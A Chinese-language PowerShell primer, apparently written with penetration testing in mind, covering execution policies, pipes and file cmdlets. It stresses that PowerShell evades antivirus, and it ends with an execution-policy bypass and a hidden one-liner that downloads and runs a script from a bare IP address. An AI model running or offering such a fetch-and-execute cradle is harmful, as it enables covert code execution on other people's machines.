windows powershell基础
Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充
powershell具有以下特点
- 在window7以上版本的操作系统中是默认安装的
- 脚本可以在内存中运行,不需要写入磁盘
- 几乎不会触发杀毒软件
- 可以远程执行
- 目前很多工具都是基于powershell开发的
- 使windows脚本的执行变得更容易
- cmd.exe的运行通常会被阻止,但是powershell的运行通常不会被阻止
- 可用于管理活动目录
可以输入“Get-Host”或者“$PSVersionTable.PSVERSION”命令查看powershell的版本,
PowerShell的基本概念
1. .ps1文件 一个powershell脚本其实就是一个简单的文本文件,其扩展名为“.ps1”。powershell脚本文件包含一系列powershell命令,每个命令显示为独立的一行。
2. 执行策略 为了防止使用者运行恶意脚本。powershell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。 如果powershell脚本无法运,可以使用下面的cmdlet命令查询当前的执行策略。
- Get-ExecutionPolicy.
- Restricted:脚本不能运行(默认设置)
- ReomteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
- AllSigned:允许脚本由受信任的发布者签名时才能运行
- Unrestricted:允许所有的脚本允许 可以使用下面的cmdlet命令设置powershell的执行策略。 Set-ExecutionPolicy
3.运行脚本 想要运行一个powershell脚本,必须输入完整的路径和文件名。运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”. 4.管道 管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用"|"连接。如: 让所有正在运行的,名字以字符“p”开头的程序停止运行
PS> get-process p* | stop-process
**## powershell的常用命令
- 基本知识**
powershell命令不区分大小写 在powershell下,类似cmd命令的命令叫作cmtlet命令。二者的命名规范一致,采用“动词-名词”的形式。动词部分一般为:Add,New,Get,Remove,Set等。 文件操作命令:
- 新建目录:New-ltem whitecellclub-ltem Type Directory
- 新建文件:New-ltem light.txt-ltemType File
- 删除目录:Remove-ltem whitecellclub
- 显示文本内容:Get-Content test.txt
- 设置文本内容:Set-Content test.txt-Value “hello world”
- 追加内容:Add-Content light.txt-Value “wodema”
- 清除内容:Clear-Content text.txt
- 常用命令
要想运行powershell脚本程序,必须使用管理员权限将策略策略从Restricted改成Unrestricted
(1)绕过本地权限并执行 直接执行脚本,会提示系统中禁止执行脚本。 输入
powershell.exe -ExecutionPolicy Bypass -File .\test.ps1
可以绕过这个限制。 (2)从网站服务器中下载脚本,绕过本地权限并隐藏执行
powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString(‘http://123.56.82.231:8000/eryao7.ps1’);
|